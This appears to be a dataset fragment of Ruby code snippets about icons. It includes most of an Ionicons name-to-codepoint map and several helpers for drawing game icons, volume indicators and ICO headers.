\"\\uf384\",\n android_exit: \"\\uf385\",\n android_expand: \"\\uf386\",\n android_favorite: \"\\uf388\",\n android_favorite_outline: \"\\uf387\",\n android_film: \"\\uf389\",\n android_folder: \"\\uf2e0\",\n android_folder_open: \"\\uf38a\",\n android_funnel: \"\\uf38b\",\n android_globe: \"\\uf38c\",\n android_hand: \"\\uf2e3\",\n android_hangout: \"\\uf38d\",\n android_happy: \"\\uf38e\",\n android_home: \"\\uf38f\",\n android_image: \"\\uf2e4\",\n android_laptop: \"\\uf390\",\n android_list: \"\\uf391\",\n android_locate: \"\\uf2e9\",\n android_lock: \"\\uf392\",\n android_mail: \"\\uf2eb\",\n android_map: \"\\uf393\",\n android_menu: \"\\uf394\",\n android_microphone: \"\\uf2ec\",\n android_microphone_off: \"\\uf395\",\n android_more_horizontal: \"\\uf396\",\n android_more_vertical: \"\\uf397\",\n android_navigate: \"\\uf398\",\n android_notifications: \"\\uf39b\",\n android_notifications_none: \"\\uf399\",\n android_notifications_off: \"\\uf39a\",\n android_open: \"\\uf39c\",\n android_options: \"\\uf39d\",\n android_people: \"\\uf39e\",\n android_person: \"\\uf3a0\",\n android_person_add: \"\\uf39f\",\n android_phone_landscape: \"\\uf3a1\",\n android_phone_portrait: \"\\uf3a2\",\n android_pin: \"\\uf3a3\",\n android_plane: \"\\uf3a4\",\n android_playstore: \"\\uf2f0\",\n android_print: \"\\uf3a5\",\n android_radio_button_off: \"\\uf3a6\",\n android_radio_button_on: \"\\uf3a7\",\n android_refresh: \"\\uf3a8\",\n android_remove: \"\\uf2f4\",\n android_remove_circle: \"\\uf3a9\",\n android_restaurant: \"\\uf3aa\",\n android_sad: \"\\uf3ab\",\n android_search: \"\\uf2f5\",\n android_send: \"\\uf2f6\",\n android_settings: \"\\uf2f7\",\n android_share: \"\\uf2f8\",\n android_share_alt: \"\\uf3ac\",\n android_star: \"\\uf2fc\",\n android_star_half: \"\\uf3ad\",\n android_star_outline: \"\\uf3ae\",\n android_stopwatch: \"\\uf2fd\",\n android_subway: \"\\uf3af\",\n android_sunny: \"\\uf3b0\",\n android_sync: \"\\uf3b1\",\n android_textsms: \"\\uf3b2\",\n android_time: \"\\uf3b3\",\n android_train: \"\\uf3b4\",\n android_unlock: \"\\uf3b5\",\n android_upload: \"\\uf3b6\",\n android_volume_down: \"\\uf3b7\",\n android_volume_mute: \"\\uf3b8\",\n android_volume_off: \"\\uf3b9\",\n android_volume_up: \"\\uf3ba\",\n android_walk: \"\\uf3bb\",\n android_warning: \"\\uf3bc\",\n android_watch: \"\\uf3bd\",\n android_wifi: \"\\uf305\",\n aperture: \"\\uf313\",\n archive: \"\\uf102\",\n arrow_down_a: \"\\uf103\",\n arrow_down_b: \"\\uf104\",\n arrow_down_c: \"\\uf105\",\n arrow_expand: \"\\uf25e\",\n arrow_graph_down_left: \"\\uf25f\",\n arrow_graph_down_right: \"\\uf260\",\n arrow_graph_up_left: \"\\uf261\",\n arrow_graph_up_right: \"\\uf262\",\n arrow_left_a: \"\\uf106\",\n arrow_left_b: \"\\uf107\",\n arrow_left_c: \"\\uf108\",\n arrow_move: \"\\uf263\",\n arrow_resize: \"\\uf264\",\n arrow_return_left: \"\\uf265\",\n arrow_return_right: \"\\uf266\",\n arrow_right_a: \"\\uf109\",\n arrow_right_b: \"\\uf10a\",\n arrow_right_c: \"\\uf10b\",\n arrow_shrink: \"\\uf267\",\n arrow_swap: \"\\uf268\",\n arrow_up_a: \"\\uf10c\",\n arrow_up_b: \"\\uf10d\",\n arrow_up_c: \"\\uf10e\",\n asterisk: \"\\uf314\",\n at: \"\\uf10f\",\n backspace: \"\\uf3bf\",\n backspace_outline: \"\\uf3be\",\n bag: \"\\uf110\",\n battery_charging: \"\\uf111\",\n battery_empty: \"\\uf112\",\n battery_full: \"\\uf113\",\n battery_half: \"\\uf114\",\n battery_low: \"\\uf115\",\n beaker: \"\\uf269\",\n beer: \"\\uf26a\",\n bluetooth: \"\\uf116\",\n bonfire: \"\\uf315\",\n bookmark: \"\\uf26b\",\n bowtie: \"\\uf3c0\",\n briefcase: \"\\uf26c\",\n bug: \"\\uf2be\",\n calculator: \"\\uf26d\",\n calendar: \"\\uf117\",\n camera: \"\\uf118\",\n card: \"\\uf119\",\n cash: \"\\uf316\",\n chatbox: \"\\uf11b\",\n chatbox_working: \"\\uf11a\",\n chatboxes: \"\\uf11c\",\n chatbubble: \"\\uf11e\",\n chatbubble_working: \"\\uf11d\",\n chatbubbles: \"\\uf11f\",\n checkmark: \"\\uf122\",\n checkmark_circled: \"\\uf120\",\n checkmark_round: \"\\uf121\",\n chevron_down: \"\\uf123\",\n chevron_left: \"\\uf124\",\n chevron_right: \"\\uf125\",\n chevron_up: \"\\uf126\",\n clipboard: \"\\uf127\",\n clock: \"\\uf26e\",\n close: \"\\uf12a\",\n close_circled: \"\\uf128\",\n close_round: \"\\uf129\",\n closed_captioning: \"\\uf317\",\n cloud: \"\\uf12b\",\n code: \"\\uf271\",\n code_download: \"\\uf26f\",\n code_working: \"\\uf270\",\n coffee: \"\\uf272\",\n compass: \"\\uf273\",\n compose: \"\\uf12c\",\n connection_bars: \"\\uf274\",\n contrast: \"\\uf275\",\n crop: \"\\uf3c1\",\n cube: \"\\uf318\",\n disc: \"\\uf12d\",\n document: \"\\uf12f\",\n document_text: \"\\uf12e\",\n drag: \"\\uf130\",\n earth: \"\\uf276\",\n easel: \"\\uf3c2\",\n edit: \"\\uf2bf\",\n egg: \"\\uf277\",\n eject: \"\\uf131\",\n email: \"\\uf132\",\n email_unread: \"\\uf3c3\",\n erlenmeyer_flask: \"\\uf3c5\",\n erlenmeyer_flask_bubbles: \"\\uf3c4\",\n eye: \"\\uf133\",\n eye_disabled: \"\\uf306\",\n female: \"\\uf278\",\n filing: \"\\uf134\",\n film_marker: \"\\uf135\",\n fireball: \"\\uf319\",\n flag: \"\\uf279\",\n flame: \"\\uf31a\",\n flash: \"\\uf137\",\n flash_off: \"\\uf136\",\n folder: \"\\uf139\",\n fork: \"\\uf27a\",\n fork_repo: \"\\uf2c0\",\n forward: \"\\uf13a\",\n funnel: \"\\uf31b\",\n gear_a: \"\\uf13d\",\n gear_b: \"\\uf13e\",\n grid: \"\\uf13f\",\n hammer: \"\\uf27b\",\n happy: \"\\uf31c\",\n happy_outline: \"\\uf3c6\",\n headphone: \"\\uf140\",\n heart: \"\\uf141\",\n heart_broken: \"\\uf31d\",\n help: \"\\uf143\",\n help_buoy: \"\\uf27c\",\n help_circled: \"\\uf142\",\n home: \"\\uf144\",\n icecream: \"\\uf27d\",\n image: \"\\uf147\",\n images: \"\\uf148\",\n information: \"\\uf14a\",\n information_circled: \"\\uf149\",\n ionic: \"\\uf14b\",\n ios_alarm: \"\\uf3c8\",\n ios_alarm_outline: \"\\uf3c7\",\n ios_albums: \"\\uf3ca\",\n ios_albums_outline: \"\\uf3c9\",\n ios_americanfootball: \"\\uf3cc\",\n ios_americanfootball_outline: \"\\uf3cb\",\n ios_analytics: \"\\uf3ce\",\n ios_analytics_outline: \"\\uf3cd\",\n ios_arrow_back: \"\\uf3cf\",\n ios_arrow_down: \"\\uf3d0\",\n ios_arrow_forward: \"\\uf3d1\",\n ios_arrow_left: \"\\uf3d2\",\n ios_arrow_right: \"\\uf3d3\",\n ios_arrow_thin_down: \"\\uf3d4\",\n ios_arrow_thin_left: \"\\uf3d5\",\n ios_arrow_thin_right: \"\\uf3d6\",\n ios_arrow_thin_up: \"\\uf3d7\",\n ios_arrow_up: \"\\uf3d8\",\n ios_at: \"\\uf3da\",\n ios_at_outline: \"\\uf3d9\",\n ios_barcode: \"\\uf3dc\",\n ios_barcode_outline: \"\\uf3db\",\n ios_baseball: \"\\uf3de\",\n ios_baseball_outline: \"\\uf3dd\",\n ios_basketball: \"\\uf3e0\",\n ios_basketball_outline: \"\\uf3df\",\n ios_bell: \"\\uf3e2\",\n ios_bell_outline: \"\\uf3e1\",\n ios_body: \"\\uf3e4\",\n ios_body_outline: \"\\uf3e3\",\n ios_bolt: \"\\uf3e6\",\n ios_bolt_outline: \"\\uf3e5\",\n ios_book: \"\\uf3e8\",\n ios_book_outline: \"\\uf3e7\",\n ios_bookmarks: \"\\uf3ea\",\n ios_bookmarks_outline: \"\\uf3e9\",\n ios_box: \"\\uf3ec\",\n ios_box_outline: \"\\uf3eb\",\n ios_briefcase: \"\\uf3ee\",\n ios_briefcase_outline: \"\\uf3ed\",\n ios_browsers: \"\\uf3f0\",\n ios_browsers_outline: \"\\uf3ef\",\n ios_calculator: \"\\uf3f2\",\n ios_calculator_outline: \"\\uf3f1\",\n ios_calendar: \"\\uf3f4\",\n ios_calendar_outline: \"\\uf3f3\",\n ios_camera: \"\\uf3f6\",\n ios_camera_outline: \"\\uf3f5\",\n ios_cart: \"\\uf3f8\",\n ios_cart_outline: \"\\uf3f7\",\n ios_chatboxes: \"\\uf3fa\",\n ios_chatboxes_outline: \"\\uf3f9\",\n ios_chatbubble: \"\\uf3fc\",\n ios_chatbubble_outline: \"\\uf3fb\",\n ios_checkmark: \"\\uf3ff\",\n ios_checkmark_empty: \"\\uf3fd\",\n ios_checkmark_outline: \"\\uf3fe\",\n ios_circle_filled: \"\\uf400\",\n ios_circle_outline: \"\\uf401\",\n ios_clock: \"\\uf403\",\n ios_clock_outline: \"\\uf402\",\n ios_close: \"\\uf406\",\n ios_close_empty: \"\\uf404\",\n ios_close_outline: \"\\uf405\",\n ios_cloud: \"\\uf40c\",\n ios_cloud_download: \"\\uf408\",\n ios_cloud_download_outline: \"\\uf407\",\n ios_cloud_outline: \"\\uf409\",\n ios_cloud_upload: \"\\uf40b\",\n ios_cloud_upload_outline: \"\\uf40a\",\n ios_cloudy: \"\\uf410\",\n ios_cloudy_night: \"\\uf40e\",\n ios_cloudy_night_outline: \"\\uf40d\",\n ios_cloudy_outline: \"\\uf40f\",\n ios_cog: \"\\uf412\",\n ios_cog_outline: \"\\uf411\",\n ios_color_filter: \"\\uf414\",\n ios_color_filter_outline: \"\\uf413\",\n ios_color_wand: \"\\uf416\",\n ios_color_wand_outline: \"\\uf415\",\n ios_compose: \"\\uf418\",\n ios_compose_outline: \"\\uf417\",\n ios_contact: \"\\uf41a\",\n ios_contact_outline: \"\\uf419\",\n ios_copy: \"\\uf41c\",\n ios_copy_outline: \"\\uf41b\",\n ios_crop: \"\\uf41e\",\n ios_crop_strong: \"\\uf41d\",\n ios_download: \"\\uf420\",\n ios_download_outline: \"\\uf41f\",\n ios_drag: \"\\uf421\",\n ios_email: \"\\uf423\",\n ios_email_outline: \"\\uf422\",\n ios_eye: \"\\uf425\",\n ios_eye_outline: \"\\uf424\",\n ios_fastforward: \"\\uf427\",\n ios_fastforward_outline: \"\\uf426\",\n ios_filing: \"\\uf429\",\n ios_filing_outline: \"\\uf428\",\n ios_film: \"\\uf42b\",\n ios_film_outline: \"\\uf42a\",\n ios_flag: \"\\uf42d\",\n ios_flag_outline: \"\\uf42c\",\n ios_flame: \"\\uf42f\",\n ios_flame_outline: \"\\uf42e\",\n ios_flask: \"\\uf431\",\n ios_flask_outline: \"\\uf430\",\n ios_flower: \"\\uf433\",\n ios_flower_outline: \"\\uf432\",\n ios_folder: \"\\uf435\",\n ios_folder_outline: \"\\uf434\",\n ios_football: \"\\uf437\",\n ios_football_outline: \"\\uf436\",\n ios_game_controller_a: \"\\uf439\",\n ios_game_controller_a_outline: \"\\uf438\",\n ios_game_controller_b: \"\\uf43b\",\n ios_game_controller_b_outline: \"\\uf43a\",\n ios_gear: \"\\uf43d\",\n ios_gear_outline: \"\\uf43c\",\n ios_glasses: \"\\uf43f\",\n ios_glasses_outline: \"\\uf43e\",\n ios_grid_view: \"\\uf441\",\n ios_grid_view_outline: \"\\uf440\",\n ios_heart: \"\\uf443\",\n ios_heart_outline: \"\\uf442\",\n ios_help: \"\\uf446\",\n ios_help_empty: \"\\uf444\",\n ios_help_outline: \"\\uf445\",\n ios_home: \"\\uf448\",\n ios_home_outline: \"\\uf447\",\n ios_infinite: \"\\uf44a\",\n ios_infinite_outline: \"\\uf449\",\n ios_information: \"\\uf44d\",\n ios_information_empty: \"\\uf44b\",\n ios_information_outline: \"\\uf44c\",\n ios_ionic_outline: \"\\uf44e\",\n ios_keypad: \"\\uf450\",\n ios_keypad_outline: \"\\uf44f\",\n ios_lightbulb: \"\\uf452\",\n ios_lightbulb_outline: \"\\uf451\",\n ios_list: \"\\uf454\",\n ios_list_outline: \"\\uf453\",\n ios_location: \"\\uf456\",\n ios_location_outline: \"\\uf455\",\n ios_locked: \"\\uf458\",\n ios_locked_outline: \"\\uf457\",\n ios_loop: \"\\uf45a\",\n ios_loop_strong: \"\\uf459\",\n ios_medical: \"\\uf45c\",\n ios_medical_outline: \"\\uf45b\",\n ios_medkit: \"\\uf45e\",\n ios_medkit_outline: \"\\uf45d\",\n ios_mic: \"\\uf461\",\n ios_mic_off: \"\\uf45f\",\n ios_mic_outline: \"\\uf460\",\n ios_minus: \"\\uf464\",\n ios_minus_empty: \"\\uf462\",\n ios_minus_outline: \"\\uf463\",\n ios_monitor: \"\\uf466\",\n ios_monitor_outline: \"\\uf465\",\n ios_moon: \"\\uf468\",\n ios_moon_outline: \"\\uf467\",\n ios_more: \"\\uf46a\",\n ios_more_outline: \"\\uf469\",\n ios_musical_note: \"\\uf46b\",\n ios_musical_notes: \"\\uf46c\",\n ios_navigate: \"\\uf46e\",\n ios_navigate_outline: \"\\uf46d\",\n ios_nutrition: \"\\uf470\",\n ios_nutrition_outline: \"\\uf46f\",\n ios_paper: \"\\uf472\",\n ios_paper_outline: \"\\uf471\",\n ios_paperplane: \"\\uf474\",\n ios_paperplane_outline: \"\\uf473\",\n ios_partlysunny: \"\\uf476\",\n ios_partlysunny_outline: \"\\uf475\",\n ios_pause: \"\\uf478\",\n ios_pause_outline: \"\\uf477\",\n ios_paw: \"\\uf47a\",\n ios_paw_outline: \"\\uf479\",\n ios_people: \"\\uf47c\",\n ios_people_outline: \"\\uf47b\",\n ios_person: \"\\uf47e\",\n ios_person_outline: \"\\uf47d\",\n ios_personadd: \"\\uf480\",\n ios_personadd_outline: \"\\uf47f\",\n ios_photos: \"\\uf482\",\n ios_photos_outline: \"\\uf481\",\n ios_pie: \"\\uf484\",\n ios_pie_outline: \"\\uf483\",\n ios_pint: \"\\uf486\",\n ios_pint_outline: \"\\uf485\",\n ios_play: \"\\uf488\",\n ios_play_outline: \"\\uf487\",\n ios_plus: \"\\uf48b\",\n ios_plus_empty: \"\\uf489\",\n ios_plus_outline: \"\\uf48a\",\n ios_pricetag: \"\\uf48d\",\n ios_pricetag_outline: \"\\uf48c\",\n ios_pricetags: \"\\uf48f\",\n ios_pricetags_outline: \"\\uf48e\",\n ios_printer: \"\\uf491\",\n ios_printer_outline: \"\\uf490\",\n ios_pulse: \"\\uf493\",\n ios_pulse_strong: \"\\uf492\",\n ios_rainy: \"\\uf495\",\n ios_rainy_outline: \"\\uf494\",\n ios_recording: \"\\uf497\",\n ios_recording_outline: \"\\uf496\",\n ios_redo: \"\\uf499\",\n ios_redo_outline: \"\\uf498\",\n ios_refresh: \"\\uf49c\",\n ios_refresh_empty: \"\\uf49a\",\n ios_refresh_outline: \"\\uf49b\",\n ios_reload: \"\\uf49d\",\n ios_reverse_camera: \"\\uf49f\",\n ios_reverse_camera_outline: \"\\uf49e\",\n ios_rewind: \"\\uf4a1\",\n ios_rewind_outline: \"\\uf4a0\",\n ios_rose: \"\\uf4a3\",\n ios_rose_outline: \"\\uf4a2\",\n ios_search: \"\\uf4a5\",\n ios_search_strong: \"\\uf4a4\",\n ios_settings: \"\\uf4a7\",\n ios_settings_strong: \"\\uf4a6\",\n ios_shuffle: \"\\uf4a9\",\n ios_shuffle_strong: \"\\uf4a8\",\n ios_skipbackward: \"\\uf4ab\",\n ios_skipbackward_outline: \"\\uf4aa\",\n ios_skipforward: \"\\uf4ad\",\n ios_skipforward_outline: \"\\uf4ac\",\n ios_snowy: \"\\uf4ae\",\n ios_speedometer: \"\\uf4b0\",\n ios_speedometer_outline: \"\\uf4af\",\n ios_star: \"\\uf4b3\",\n ios_star_half: \"\\uf4b1\",\n ios_star_outline: \"\\uf4b2\",\n ios_stopwatch: \"\\uf4b5\",\n ios_stopwatch_outline: \"\\uf4b4\",\n ios_sunny: \"\\uf4b7\",\n ios_sunny_outline: \"\\uf4b6\",\n ios_telephone: \"\\uf4b9\",\n ios_telephone_outline: \"\\uf4b8\",\n ios_tennisball: \"\\uf4bb\",\n ios_tennisball_outline: \"\\uf4ba\",\n ios_thunderstorm: \"\\uf4bd\",\n ios_thunderstorm_outline: \"\\uf4bc\",\n ios_time: \"\\uf4bf\",\n ios_time_outline: \"\\uf4be\",\n ios_timer: \"\\uf4c1\",\n ios_timer_outline: \"\\uf4c0\",\n ios_toggle: \"\\uf4c3\",\n ios_toggle_outline: \"\\uf4c2\",\n ios_trash: \"\\uf4c5\",\n ios_trash_outline: \"\\uf4c4\",\n ios_undo: \"\\uf4c7\",\n ios_undo_outline: \"\\uf4c6\",\n ios_unlocked: \"\\uf4c9\",\n ios_unlocked_outline: \"\\uf4c8\",\n ios_upload: \"\\uf4cb\",\n ios_upload_outline: \"\\uf4ca\",\n ios_videocam: \"\\uf4cd\",\n ios_videocam_outline: \"\\uf4cc\",\n ios_volume_high: \"\\uf4ce\",\n ios_volume_low: \"\\uf4cf\",\n ios_wineglass: \"\\uf4d1\",\n ios_wineglass_outline: \"\\uf4d0\",\n ios_world: \"\\uf4d3\",\n ios_world_outline: \"\\uf4d2\",\n ipad: \"\\uf1f9\",\n iphone: \"\\uf1fa\",\n ipod: \"\\uf1fb\",\n jet: \"\\uf295\",\n key: \"\\uf296\",\n knife: \"\\uf297\",\n laptop: \"\\uf1fc\",\n leaf: \"\\uf1fd\",\n levels: \"\\uf298\",\n lightbulb: \"\\uf299\",\n link: \"\\uf1fe\",\n load_a: \"\\uf29a\",\n load_b: \"\\uf29b\",\n load_c: \"\\uf29c\",\n load_d: \"\\uf29d\",\n location: \"\\uf1ff\",\n lock_combination: \"\\uf4d4\",\n locked: \"\\uf200\",\n log_in: \"\\uf29e\",\n log_out: \"\\uf29f\",\n loop: \"\\uf201\",\n magnet: \"\\uf2a0\",\n male: \"\\uf2a1\",\n man: \"\\uf202\",\n map: \"\\uf203\",\n medkit: \"\\uf2a2\",\n merge: \"\\uf33f\",\n mic_a: \"\\uf204\",\n mic_b: \"\\uf205\",\n mic_c: \"\\uf206\",\n minus: \"\\uf209\",\n minus_circled: \"\\uf207\",\n minus_round: \"\\uf208\",\n model_s: \"\\uf2c1\",\n monitor: \"\\uf20a\",\n more: \"\\uf20b\",\n mouse: \"\\uf340\",\n music_note: \"\\uf20c\",\n navicon: \"\\uf20e\",\n navicon_round: \"\\uf20d\",\n navigate: \"\\uf2a3\",\n network: \"\\uf341\",\n no_smoking: \"\\uf2c2\",\n nuclear: \"\\uf2a4\",\n outlet: \"\\uf342\",\n paintbrush: \"\\uf4d5\",\n paintbucket: \"\\uf4d6\",\n paper_airplane: \"\\uf2c3\",\n paperclip: \"\\uf20f\",\n pause: \"\\uf210\",\n person: \"\\uf213\",\n person_add: \"\\uf211\",\n person_stalker: \"\\uf212\",\n pie_graph: \"\\uf2a5\",\n pin: \"\\uf2a6\",\n pinpoint: \"\\uf2a7\",\n pizza: \"\\uf2a8\",\n plane: \"\\uf214\",\n planet: \"\\uf343\",\n play: \"\\uf215\",\n playstation: \"\\uf30a\",\n plus: \"\\uf218\",\n plus_circled: \"\\uf216\",\n plus_round: \"\\uf217\",\n podium: \"\\uf344\",\n pound: \"\\uf219\",\n power: \"\\uf2a9\",\n pricetag: \"\\uf2aa\",\n pricetags: \"\\uf2ab\",\n printer: \"\\uf21a\",\n pull_request: \"\\uf345\",\n qr_scanner: \"\\uf346\",\n quote: \"\\uf347\",\n radio_waves: \"\\uf2ac\",\n record: \"\\uf21b\",\n refresh: \"\\uf21c\",\n reply: \"\\uf21e\",\n reply_all: \"\\uf21d\",\n ribbon_a: \"\\uf348\",\n ribbon_b: \"\\uf349\",\n sad: \"\\uf34a\",\n sad_outline: \"\\uf4d7\",\n scissors: \"\\uf34b\",\n search: \"\\uf21f\",\n settings: \"\\uf2ad\",\n share: \"\\uf220\",\n shuffle: \"\\uf221\",\n skip_backward: \"\\uf222\",\n skip_forward: \"\\uf223\",\n social_android: \"\\uf225\",\n social_android_outline: \"\\uf224\",\n social_angular: \"\\uf4d9\",\n social_angular_outline: \"\\uf4d8\",\n social_apple: \"\\uf227\",\n social_apple_outline: \"\\uf226\",\n social_bitcoin: \"\\uf2af\",\n social_bitcoin_outline: \"\\uf2ae\",\n social_buffer: \"\\uf229\",\n social_buffer_outline: \"\\uf228\",\n social_chrome: \"\\uf4db\",\n social_chrome_outline: \"\\uf4da\",\n social_codepen: \"\\uf4dd\",\n social_codepen_outline: \"\\uf4dc\",\n social_css3: \"\\uf4df\",\n social_css3_outline: \"\\uf4de\",\n social_designernews: \"\\uf22b\",\n social_designernews_outline: \"\\uf22a\",\n social_dribbble: \"\\uf22d\",\n social_dribbble_outline: \"\\uf22c\",\n social_dropbox: \"\\uf22f\",\n social_dropbox_outline: \"\\uf22e\",\n social_euro: \"\\uf4e1\",\n social_euro_outline: \"\\uf4e0\",\n social_facebook: \"\\uf231\",\n social_facebook_outline: \"\\uf230\",\n social_foursquare: \"\\uf34d\",\n social_foursquare_outline: \"\\uf34c\",\n social_freebsd_devil: \"\\uf2c4\",\n social_github: \"\\uf233\",\n social_github_outline: \"\\uf232\",\n social_google: \"\\uf34f\",\n social_google_outline: \"\\uf34e\",\n social_googleplus: \"\\uf235\",\n social_googleplus_outline: \"\\uf234\",\n social_hackernews: \"\\uf237\",\n social_hackernews_outline: \"\\uf236\",\n social_html5: \"\\uf4e3\",\n social_html5_outline: \"\\uf4e2\",\n social_instagram: \"\\uf351\",\n social_instagram_outline: \"\\uf350\",\n social_javascript: \"\\uf4e5\",\n social_javascript_outline: \"\\uf4e4\",\n social_linkedin: \"\\uf239\",\n social_linkedin_outline: \"\\uf238\",\n social_markdown: \"\\uf4e6\",\n social_nodejs: \"\\uf4e7\",\n social_octocat: \"\\uf4e8\",\n social_pinterest: \"\\uf2b1\",\n social_pinterest_outline: \"\\uf2b0\",\n social_python: \"\\uf4e9\",\n social_reddit: \"\\uf23b\",\n social_reddit_outline: \"\\uf23a\",\n social_rss: \"\\uf23d\",\n social_rss_outline: \"\\uf23c\",\n social_sass: \"\\uf4ea\",\n social_skype: \"\\uf23f\",\n social_skype_outline: \"\\uf23e\",\n social_snapchat: \"\\uf4ec\",\n social_snapchat_outline: \"\\uf4eb\",\n social_tumblr: \"\\uf241\",\n social_tumblr_outline: \"\\uf240\",\n social_tux: \"\\uf2c5\",\n social_twitch: \"\\uf4ee\",\n social_twitch_outline: \"\\uf4ed\",\n social_twitter: \"\\uf243\",\n social_twitter_outline: \"\\uf242\",\n social_usd: \"\\uf353\",\n social_usd_outline: \"\\uf352\",\n social_vimeo: \"\\uf245\",\n social_vimeo_outline: \"\\uf244\",\n social_whatsapp: \"\\uf4f0\",\n social_whatsapp_outline: \"\\uf4ef\",\n social_windows: \"\\uf247\",\n social_windows_outline: \"\\uf246\",\n social_wordpress: \"\\uf249\",\n social_wordpress_outline: \"\\uf248\",\n social_yahoo: \"\\uf24b\",\n social_yahoo_outline: \"\\uf24a\",\n social_yen: \"\\uf4f2\",\n social_yen_outline: \"\\uf4f1\",\n social_youtube: \"\\uf24d\",\n social_youtube_outline: \"\\uf24c\",\n soup_can: \"\\uf4f4\",\n soup_can_outline: \"\\uf4f3\",\n speakerphone: \"\\uf2b2\",\n speedometer: \"\\uf2b3\",\n spoon: \"\\uf2b4\",\n star: \"\\uf24e\",\n stats_bars: \"\\uf2b5\",\n steam: \"\\uf30b\",\n stop: \"\\uf24f\",\n thermometer: \"\\uf2b6\",\n thumbsdown: \"\\uf250\",\n thumbsup: \"\\uf251\",\n toggle: \"\\uf355\",\n toggle_filled: \"\\uf354\",\n transgender: \"\\uf4f5\",\n trash_a: \"\\uf252\",\n trash_b: \"\\uf253\",\n trophy: \"\\uf356\",\n tshirt: \"\\uf4f7\",\n tshirt_outline: \"\\uf4f6\",\n umbrella: \"\\uf2b7\",\n university: \"\\uf357\",\n unlocked: \"\\uf254\",\n upload: \"\\uf255\",\n usb: \"\\uf2b8\",\n videocamera: \"\\uf256\",\n volume_high: \"\\uf257\",\n volume_low: \"\\uf258\",\n volume_medium: \"\\uf259\",\n volume_mute: \"\\uf25a\",\n wand: \"\\uf358\",\n waterdrop: \"\\uf25b\",\n wifi: \"\\uf25c\",\n wineglass: \"\\uf2b9\",\n woman: \"\\uf25d\",\n wrench: \"\\uf2ba\",\n xbox: \"\\uf30c\"\n }\n end", "def change_icon(icon, item)\n if item.nil?\n icon.bitmap = nil\n else\n icon.bitmap = item.is_a?(String) ? Cache.picture(item) : get_icon(item)\n icon.zoom_x = 0\n icon.zoom_y = 0\n icon.ox = icon.width / 2\n icon.oy = icon.height / 2\n end\n end", "def icon_index\n MapConfig::ICONS[@type];\n end", "def icon\n if !corrected\n return dash_icon\n else\n if star\n return star_icon\n elsif score == 7\n return v_icon\n else\n return x_icon\n end\n end\n end", "def draw_icon(icon_index)\n self.bitmap = Bitmap.new(24, 24) if !self.bitmap\n crect = Rect.new(0,0,24,24)\n bitmap.clear_rect(crect)\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.bitmap.blt(0, 0, Cache.iconset, rect)\n end", "def get_icon(item)\n icon_index = item.icon_index\n icon = Bitmap.new(24, 24)\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n icon.blt(x, y, bitmap, rect)\n icon\n end", "def icon_set_styles\n {\n \"3_arrows\" => \"3Arrows\", # 1\n \"3_flags\" => \"3Flags\", # 2\n \"3_traffic_lights_rimmed\" => \"3TrafficLights2\", # 3\n \"3_symbols_circled\" => \"3Symbols\", # 4\n \"4_arrows\" => \"4Arrows\", # 5\n \"4_red_to_black\" => \"4RedToBlack\", # 6\n \"4_traffic_lights\" => \"4TrafficLights\", # 7\n \"5_arrows_gray\" => \"5ArrowsGray\", # 8\n \"5_quarters\" => \"5Quarters\", # 9\n \"3_arrows_gray\" => \"3ArrowsGray\", # 10\n \"3_traffic_lights\" => \"3TrafficLights\", # 11\n \"3_signs\" => \"3Signs\", # 12\n \"3_symbols\" => \"3Symbols2\", # 13\n \"4_arrows_gray\" => \"4ArrowsGray\", # 14\n \"4_ratings\" => \"4Rating\", # 15\n \"5_arrows\" => \"5Arrows\", # 16\n \"5_ratings\" => \"5Rating\" # 17\n }\n end", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system('Iconset')\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def icon_name=(icon_name)\n end", "def update_icon\n #Get the current active sink which should be manipulated.\n return nil if !@sink\n \n \n #Evaluate which icon is the closest to the current volume.\n vol_perc = @sink.vol_perc\n levels = [0, 33, 66, 100]\n \n vol_closest = levels.first\n vol_closest_dif = 100\n \n levels.each do |level|\n if !vol_closest or (vol_perc < level and diff = (level - vol_perc) and diff < vol_closest_dif) or (vol_perc >= level and diff = (vol_perc - level) and diff < vol_closest_dif)\n vol_closest = level\n vol_closest_dif = diff\n end\n end\n \n \n #Set icon.\n icon_filepath = File.realpath(\"#{File.dirname(__FILE__)}/../../gfx/volume_#{vol_closest}.png\")\n @sicon.set_from_file(icon_filepath)\n end", "def set_default_icon\n self.icon ||= \"instruments/#{self.description.downcase.gsub(/\\s/, '_')}.png\"\n end", "def icons(key)\n (icons_info[key.to_s] || key)\n end", "def icon\n self.number\n end", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * line_height, icon_index / 16 * line_height, line_height, line_height)\n @info.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def update_key\n actor = battler # Just make alias\n @used_key = battler.icon_key\n array = Icons[@used_key]\n return icon_error unless array\n self.anchor = array[0]\n @dummy.x = (battler.flip ? -array[1] : array[1])\n @dummy.y = array[2]\n @above_char = array[3]\n update_placement\n self.angle = array[4]\n target = array[5]\n duration = array[6]\n icon_index = (eval(array[7]) rescue 0) if array[7].is_a?(String)\n if array[7] >= 0\n icon_index = array[7]\n elsif !array[7].nil?\n if array[7] == -1 # First weapon ~\n icon_index = (battler.weapons[0].icon_index rescue 0)\n elsif array[7] == -2 # Second weapon ~\n icon_index = (battler.weapons[1].icon_index rescue \n (battler.weapons[0].icon_index rescue 0))\n elsif array[7] <= -3 # Custom icon graphic\n icon_index = array[7] + 2\n end\n end\n self.mirror = (array[8].nil? ? false : array[8])\n if array[9] && array[10] && array[11]\n @dummy.slide(array[9], array[10], array[11])\n end\n icon_index = icon_index || 0\n self.icon_index = icon_index\n change_angle(target, duration)\n battler.icon_key = \"\"\n end", "def restore_icon src_fname\n File.open(src_fname, \"rb\") do |f|\n parse f\n if data.first == \"PNG\"\n \"\\x89PNG\" +f.read(self.size-4)\n else\n icondir = [\n 0, # Reserved. Must always be 0.\n 1, # image type: 1 for icon (.ICO), 2 for cursor (.CUR). Other values are invalid\n 1, # number of images in the file\n ].pack(\"v3\")\n bitmap_hdr = data.first # BITMAPINFOHEADER\n icondirentry = ICODIRENTRY.new(\n bitmap_hdr.biWidth,\n bitmap_hdr.biHeight / (%w'ICON CURSOR'.include?(type) ? 2 : 1),\n 0, # XXX: bColors: may be wrong here\n 0,\n 1,\n 